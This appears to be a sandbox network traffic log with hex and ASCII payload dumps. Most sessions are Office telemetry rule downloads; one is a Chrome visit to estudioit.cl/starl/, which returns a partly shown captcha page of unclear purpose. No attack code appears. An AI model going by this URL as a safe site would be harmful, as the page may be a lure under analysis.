Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.9	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:01 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:02 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 70a27ff5-201e-0051-4e8c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092002Z-r1d97b995774n5h6hC1TEBvf8400000008ng000000006xyu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:02 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.9	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:02 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:02 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092002Z-185f5d8b95c95vpshC1NYC759c00000009y000000000gt5v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:02 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.9	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:02 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:02 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: feb02638-401e-0067-7b8c-3a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092002Z-1777c6cb7544nvmshC1TEBf7qc0000000980000000004uhb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:02 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.9	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:02 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:02 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092002Z-r1d97b99577d6qrbhC1TEBux5s00000008q000000000f0ya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:02 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.9	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:02 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:02 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: b0c2e714-101e-000b-0df2-3a5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092002Z-185f5d8b95cjbkr4hC1NYCeu2400000009vg000000008tck x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:02 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.9	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:02 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:02 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092002Z-185f5d8b95c4vwv8hC1NYCy4v40000000a2g00000000dsuw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:02 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.9	49756	173.248.187.77	443	5900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:02 UTC	661	OUT	GET /starl/ HTTP/1.1 Host: estudioit.cl Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 09:20:03 UTC	429	IN	HTTP/1.1 200 OK Connection: close content-type: text/html last-modified: Tue, 19 Nov 2024 17:46:05 GMT etag: "786-673ccedd-3f0fc09ba0fb3f1a;;;" accept-ranges: bytes content-length: 1926 date: Wed, 20 Nov 2024 09:20:02 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-11-20 09:20:03 UTC	939	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 48 6f 6d 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 0d 0a 20 20 20 20 20 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 0d 0a 20 20 20 20 20 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 0d 0a 20 20 20 20 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8" /> <title>Home</title> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> <link rel="shortcut icon" href="favicon
2024-11-20 09:20:03 UTC	987	IN	Data Raw: 20 20 20 20 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 79 70 65 3d 22 74 65 78 74 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6e 61 6d 65 3d 22 63 61 70 74 63 68 61 5f 69 6e 70 75 74 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 45 6e 74 65 72 20 74 68 65 20 63 6f 64 65 20 61 62 6f 76 65 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 78 6c 65 6e 67 74 68 3d 22 36 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 71 75 69 72 65 64 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 Data Ascii: </button> </div> <input type="text" name="captcha_input" placeholder="Enter the code above" maxlength="6" required /> <div i

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.9	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:02 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:02 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c1a1e3cb-901e-005b-1f8c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092002Z-185f5d8b95cdcwrthC1NYCy5b800000009zg000000008yug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:02 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.9	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:02 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:02 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7511d71d-801e-0083-6e8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092002Z-185f5d8b95cp7lkfhC1NYC7rpw0000000a1000000000kn4r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:02 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.9	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:02 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:02 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e456cfdf-c01e-0014-248c-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092002Z-r1d97b99577n4dznhC1TEBc1qw00000008u00000000004rm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:02 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.9	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:02 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:02 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 5b8b83f7-201e-0033-0b8c-3ab167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092002Z-185f5d8b95c4bhwphC1NYCs8gw0000000a7g000000002tg3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:03 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.9	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:03 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
